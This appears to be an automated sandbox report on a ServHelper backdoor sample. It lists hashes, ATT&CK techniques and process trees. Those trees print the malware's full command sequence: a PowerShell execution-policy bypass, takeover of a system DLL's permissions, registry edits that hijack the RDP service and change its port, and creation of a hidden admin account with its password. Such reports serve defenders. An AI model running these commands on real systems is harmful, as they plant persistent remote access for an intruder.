Malware Analysis Report

2024-09-11 03:32

Sample ID 240616-hdy2taxcnr
Target b22a7f7748f329f11f883697f71f22df_JaffaCakes118
SHA256 9227a139da1fb0755d0cf08d242726bc56633753897948b732878e58db15d6ca
Tags
servhelper backdoor discovery exploit persistence trojan upx
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral4

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral7

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral5

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral6

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral8

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

9227a139da1fb0755d0cf08d242726bc56633753897948b732878e58db15d6ca

Threat Level: Known bad

The file b22a7f7748f329f11f883697f71f22df_JaffaCakes118 was found to be: Known bad.

Malicious Activity Summary

servhelper backdoor discovery exploit persistence trojan upx

ServHelper

Grants admin privileges

Modifies RDP port number used by Windows

Sets DLL path for service in the registry

Possible privilege escalation attempt

UPX packed file

Deletes itself

Checks computer location settings

Modifies file permissions

Loads dropped DLL

Drops file in System32 directory

Drops file in Windows directory

Program crash

Enumerates physical storage devices

Unsigned PE

NSIS installer

Suspicious use of WriteProcessMemory

Delays execution with timeout.exe

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: LoadsDriver

Suspicious behavior: EnumeratesProcesses

Runs net.exe

Modifies registry key

MITRE ATT&CK Matrix V13

Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Account Manipulation
T1098
Boot or Logon Autostart Execution
T1547
Registry Run Keys / Startup Folder
T1547.001
Privilege Escalation
TA0004
Boot or Logon Autostart Execution
T1547
Registry Run Keys / Startup Folder
T1547.001
Defense Evasion
TA0005
Modify Registry
T1112
File and Directory Permissions Modification
T1222
Credential Access
TA0006
Discovery
TA0007
System Information Discovery
T1082
Query Registry
T1012
Lateral Movement
TA0008
Remote Services
T1021
Remote Desktop Protocol
T1021.001
Collection
TA0009
Exfiltration
TA0010
Command and Control
TA0011
Impact
TA0040
Resource Development
TA0042
Reconnaissance
TA0043

Analysis: static1

Detonation Overview

Reported

2024-06-16 06:37

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

NSIS installer

installer
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-16 06:37

Reported

2024-06-16 06:40

Platform

win7-20240611-en

Max time kernel

143s

Max time network

123s

Command Line

"C:\Users\Admin\AppData\Local\Temp\b22a7f7748f329f11f883697f71f22df_JaffaCakes118.exe"

Signatures

ServHelper

trojan backdoor servhelper

Grants admin privileges

Modifies RDP port number used by Windows

Possible privilege escalation attempt

exploit
Description Indicator Process Target
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Sets DLL path for service in the registry

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\TermService\Parameters\ServiceDLL = "C:\\Windows\\branding\\mediasrv.png" C:\Windows\system32\reg.exe N/A

Deletes itself

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\b22a7f7748f329f11f883697f71f22df_JaffaCakes118.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\b22a7f7748f329f11f883697f71f22df_JaffaCakes118.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\b22a7f7748f329f11f883697f71f22df_JaffaCakes118.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\b22a7f7748f329f11f883697f71f22df_JaffaCakes118.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\b22a7f7748f329f11f883697f71f22df_JaffaCakes118.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\b22a7f7748f329f11f883697f71f22df_JaffaCakes118.exe N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Drops file in System32 directory

Description Indicator Process Target
File created C:\Windows\system32\rfxvmt.dll C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\branding\mediasrv.png C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File created C:\Windows\branding\mediasvc.png C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File created C:\Windows\branding\wupsvc.jpg C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\branding\Basebrd C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\branding\ShellBrd C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\branding\mediasrv.png C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\branding\mediasvc.png C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\branding\wupsvc.jpg C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\timeout.exe N/A

Modifies registry key

Description Indicator Process Target
N/A N/A C:\Windows\system32\reg.exe N/A

Runs net.exe

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: LoadsDriver

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\icacls.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3008 wrote to memory of 2668 N/A C:\Users\Admin\AppData\Local\Temp\b22a7f7748f329f11f883697f71f22df_JaffaCakes118.exe C:\Windows\System32\cmd.exe
PID 3008 wrote to memory of 2668 N/A C:\Users\Admin\AppData\Local\Temp\b22a7f7748f329f11f883697f71f22df_JaffaCakes118.exe C:\Windows\System32\cmd.exe
PID 3008 wrote to memory of 2668 N/A C:\Users\Admin\AppData\Local\Temp\b22a7f7748f329f11f883697f71f22df_JaffaCakes118.exe C:\Windows\System32\cmd.exe
PID 3008 wrote to memory of 2668 N/A C:\Users\Admin\AppData\Local\Temp\b22a7f7748f329f11f883697f71f22df_JaffaCakes118.exe C:\Windows\System32\cmd.exe
PID 2668 wrote to memory of 2944 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\timeout.exe
PID 2668 wrote to memory of 2944 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\timeout.exe
PID 2668 wrote to memory of 2944 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\timeout.exe
PID 2668 wrote to memory of 564 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2668 wrote to memory of 564 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2668 wrote to memory of 564 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 564 wrote to memory of 1652 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\takeown.exe
PID 564 wrote to memory of 1652 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\takeown.exe
PID 564 wrote to memory of 1652 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\takeown.exe
PID 564 wrote to memory of 800 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\icacls.exe
PID 564 wrote to memory of 800 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\icacls.exe
PID 564 wrote to memory of 800 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\icacls.exe
PID 564 wrote to memory of 1664 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\icacls.exe
PID 564 wrote to memory of 1664 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\icacls.exe
PID 564 wrote to memory of 1664 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\icacls.exe
PID 564 wrote to memory of 1940 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\icacls.exe
PID 564 wrote to memory of 1940 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\icacls.exe
PID 564 wrote to memory of 1940 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\icacls.exe
PID 564 wrote to memory of 1648 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\icacls.exe
PID 564 wrote to memory of 1648 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\icacls.exe
PID 564 wrote to memory of 1648 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\icacls.exe
PID 564 wrote to memory of 1932 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\icacls.exe
PID 564 wrote to memory of 1932 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\icacls.exe
PID 564 wrote to memory of 1932 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\icacls.exe
PID 564 wrote to memory of 1752 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\icacls.exe
PID 564 wrote to memory of 1752 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\icacls.exe
PID 564 wrote to memory of 1752 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\icacls.exe
PID 564 wrote to memory of 812 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\icacls.exe
PID 564 wrote to memory of 812 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\icacls.exe
PID 564 wrote to memory of 812 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\icacls.exe
PID 564 wrote to memory of 2244 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 564 wrote to memory of 2244 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 564 wrote to memory of 2244 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 564 wrote to memory of 2256 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 564 wrote to memory of 2256 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 564 wrote to memory of 2256 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 564 wrote to memory of 1568 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 564 wrote to memory of 1568 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 564 wrote to memory of 1568 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 564 wrote to memory of 1504 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\net.exe
PID 564 wrote to memory of 1504 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\net.exe
PID 564 wrote to memory of 1504 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\net.exe
PID 1504 wrote to memory of 1380 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1504 wrote to memory of 1380 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1504 wrote to memory of 1380 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 564 wrote to memory of 2864 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 564 wrote to memory of 2864 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 564 wrote to memory of 2864 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2864 wrote to memory of 2856 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2864 wrote to memory of 2856 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2864 wrote to memory of 2856 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2856 wrote to memory of 840 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\net.exe
PID 2856 wrote to memory of 840 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\net.exe
PID 2856 wrote to memory of 840 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\net.exe
PID 840 wrote to memory of 2128 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 840 wrote to memory of 2128 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 840 wrote to memory of 2128 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 564 wrote to memory of 1980 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 564 wrote to memory of 1980 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 564 wrote to memory of 1980 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe

Processes

C:\Users\Admin\AppData\Local\Temp\b22a7f7748f329f11f883697f71f22df_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\b22a7f7748f329f11f883697f71f22df_JaffaCakes118.exe"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c timeout -t 15& powershell -ep bypass -f C:\Users\Admin\AppData\Local\Temp\evil.ps1

C:\Windows\system32\timeout.exe

timeout -t 15

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -ep bypass -f C:\Users\Admin\AppData\Local\Temp\evil.ps1

C:\Windows\system32\takeown.exe

"C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll

C:\Windows\system32\icacls.exe

"C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d

C:\Windows\system32\icacls.exe

"C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"

C:\Windows\system32\icacls.exe

"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"

C:\Windows\system32\icacls.exe

"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"

C:\Windows\system32\icacls.exe

"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"

C:\Windows\system32\icacls.exe

"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators

C:\Windows\system32\icacls.exe

"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX

C:\Windows\system32\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f

C:\Windows\system32\reg.exe

"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f

C:\Windows\system32\reg.exe

"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f

C:\Windows\system32\net.exe

"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr

C:\Windows\system32\cmd.exe

cmd /c net start rdpdr

C:\Windows\system32\net.exe

net start rdpdr

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 start rdpdr

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService

C:\Windows\system32\cmd.exe

cmd /c net start TermService

C:\Windows\system32\net.exe

net start TermService

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 start TermService

C:\Windows\System32\cmd.exe

cmd /C net.exe user wgautilacc Ghar4f5 /del

C:\Windows\system32\net.exe

net.exe user wgautilacc Ghar4f5 /del

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del

C:\Windows\System32\cmd.exe

cmd /C net.exe user wgautilacc Wy0kK2Zy /add

C:\Windows\system32\net.exe

net.exe user wgautilacc Wy0kK2Zy /add

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 user wgautilacc Wy0kK2Zy /add

C:\Windows\System32\cmd.exe

cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD

C:\Windows\system32\net.exe

net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD

C:\Windows\System32\cmd.exe

cmd /C net.exe LOCALGROUP "Remote Desktop Users" EILATWEW$ /ADD

C:\Windows\system32\net.exe

net.exe LOCALGROUP "Remote Desktop Users" EILATWEW$ /ADD

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" EILATWEW$ /ADD

C:\Windows\System32\cmd.exe

cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD

C:\Windows\system32\net.exe

net.exe LOCALGROUP "Administrators" wgautilacc /ADD

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD

C:\Windows\System32\cmd.exe

cmd /C net.exe user wgautilacc Wy0kK2Zy

C:\Windows\system32\net.exe

net.exe user wgautilacc Wy0kK2Zy

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 user wgautilacc Wy0kK2Zy

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f

Network

Country Destination Domain Proto
US 8.8.8.8:53 giiahfiejhg.cn udp

Files

\Users\Admin\AppData\Local\Temp\nsj7782.tmp\blowfish.dll

MD5 5afd4a9b7e69e7c6e312b2ce4040394a
SHA1 fbd07adb3f02f866dc3a327a86b0f319d4a94502
SHA256 053b4487d22aacf8274bab448ae1d665fe7926102197b47bfba6c7ed5493b3ae
SHA512 f78efe9d1fa7d2ffc731d5f878f81e4dcbfaf0c561fdfbf4c133ba2ce1366c95c4672d67cae6a8bd8fcc7d04861a9da389d98361055ac46fc9793828d9776511

\Users\Admin\AppData\Local\Temp\nsj7782.tmp\System.dll

MD5 fbe295e5a1acfbd0a6271898f885fe6a
SHA1 d6d205922e61635472efb13c2bb92c9ac6cb96da
SHA256 a1390a78533c47e55cc364e97af431117126d04a7faed49390210ea3e89dd0e1
SHA512 2cb596971e504eaf1ce8e3f09719ebfb3f6234cea5ca7b0d33ec7500832ff4b97ec2bbe15a1fbf7e6a5b02c59db824092b9562cd8991f4d027feab6fd3177b06

\Users\Admin\AppData\Local\Temp\nsj7782.tmp\nsUnzip.dll

MD5 77a26c23948070dc012bba65e7f390aa
SHA1 7e112775770f9b3b24e2a238b5f7c66f8802e5d8
SHA256 4e4e429ecf1c49119a21c817899f64152b03b41b036fc1d92aee335043364c43
SHA512 2e7ffa4ed5c97f555e1b0d6f55ffcfd53cd28302fc77d95fdaea89e0b6b42e67e366331e52358e78e8266d079cc2ca3ea4c909197fb38a5b4c8151c7678d0065

memory/564-49-0x000000001B1D0000-0x000000001B4B2000-memory.dmp

memory/564-50-0x0000000002490000-0x0000000002498000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\evil.ps1

MD5 b3740c199fd47f917a62e0c426c46934
SHA1 e0d844544c0ca5d83a1c3e32da581e2b7ebb3906
SHA256 b739faf7a9dfc7fe969a4927190f14d176c7e387e280fc970f4414fdf1062134
SHA512 d2f22de404fdfa46affc4bfff83ae5b41733a99e2b5b06722705677ca5d2031ba2f85d86803564e842e161f4e924e1fd245c37f0998b1572c4c772ecd08f4dc5

C:\Windows\system32\rfxvmt.dll

MD5 dc39d23e4c0e681fad7a3e1342a2843c
SHA1 58fd7d50c2dca464a128f5e0435d6f0515e62073
SHA256 6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9
SHA512 5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

\Windows\Branding\mediasrv.png

MD5 e816ab93cf35418b3c7ee71296081396
SHA1 8dffeaa3a807215f1f0fc4d4754c1dccf93244c6
SHA256 b7c930b6b289f3f2809fcfdeb270786d6c5c58d062f51fa43eaae33800261260
SHA512 790fa3c5f355e5faf44e94a23fd7e3176260502ceef6a4273578125fa3d52187349e5a982377c04291a15779ef905878d34f61d3e5ee5d3928872608817df524

\Windows\Branding\mediasvc.png

MD5 3346c7680c1a724104576721f058f8d6
SHA1 823926453ff44ddd192b2711ade78f2bfc7ebac0
SHA256 a4975203b5fc3a45b75f25bb2b81cac416fd9792dafb5dee9a304e7fea52a5d2
SHA512 23d1d3dfb80d09946bf28a29cc8dbb9236b5c7e92c1cadddfd6e8ba8a8030a63a2e81d64e16b00775b1174207c699e297242ff09cc59a93e594fce408d2ca85e

\??\PIPE\samr

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

C:\Users\Admin\AppData\Local\Temp\uninst.dat.log

MD5 e7b46f7dce67f5296ef852ab60c4917d
SHA1 9316e80ad51f832e9c3fe5d92113746410cdd2df
SHA256 d08848d4598be3de7271ed1efecc9eeb97cee86e3a74584567cddefb4dfeaba7
SHA512 0de68099b3f1fb30427a54b44680e288355d5db10a71f4cd6473749d3dccbaf72eac9849e5aaed7fa3c765a332690c7450ec3f56f4bd46b06c8ec571bec96400

C:\Users\Admin\AppData\Local\Temp\11.ps1

MD5 c0fae5b04f67d12ca621200aac5378dc
SHA1 c82c80ff2a2abb57e9a23ac5a100d82c1d551238
SHA256 de678dd80006ed864550a034f48a93bf1cb5a31d706d6f25694f577f7867f2a0
SHA512 27e1c30a1ad0ab381f037eb4313f11c9c7c3eaa78b5893ba0df04cac006a4169c92d3c6f3b09d181c6862491f8793818d0e9becf355b9aa4a70bef199c536ff8

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-16 06:37

Reported

2024-06-16 06:40

Platform

win10v2004-20240611-en

Max time kernel

92s

Max time network

94s

Command Line

"C:\Users\Admin\AppData\Local\Temp\b22a7f7748f329f11f883697f71f22df_JaffaCakes118.exe"

Signatures

ServHelper

trojan backdoor servhelper

Grants admin privileges

Modifies RDP port number used by Windows

Possible privilege escalation attempt

exploit
Description Indicator Process Target
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A

Sets DLL path for service in the registry

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\TermService\Parameters\ServiceDLL = "C:\\Windows\\branding\\mediasrv.png" C:\Windows\system32\reg.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\b22a7f7748f329f11f883697f71f22df_JaffaCakes118.exe N/A

Deletes itself

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\b22a7f7748f329f11f883697f71f22df_JaffaCakes118.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\b22a7f7748f329f11f883697f71f22df_JaffaCakes118.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\b22a7f7748f329f11f883697f71f22df_JaffaCakes118.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\b22a7f7748f329f11f883697f71f22df_JaffaCakes118.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\b22a7f7748f329f11f883697f71f22df_JaffaCakes118.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\b22a7f7748f329f11f883697f71f22df_JaffaCakes118.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\b22a7f7748f329f11f883697f71f22df_JaffaCakes118.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\b22a7f7748f329f11f883697f71f22df_JaffaCakes118.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\b22a7f7748f329f11f883697f71f22df_JaffaCakes118.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\b22a7f7748f329f11f883697f71f22df_JaffaCakes118.exe N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Drops file in System32 directory

Description Indicator Process Target
File created C:\Windows\system32\rfxvmt.dll C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\branding\mediasrv.png C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\branding\mediasvc.png C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\branding\wupsvc.jpg C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File created C:\Windows\branding\mediasrv.png C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File created C:\Windows\branding\mediasvc.png C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File created C:\Windows\branding\wupsvc.jpg C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\branding\Basebrd C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\branding\shellbrd C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Delays execution with timeout.exe

evasion
Description Indicator Process Target
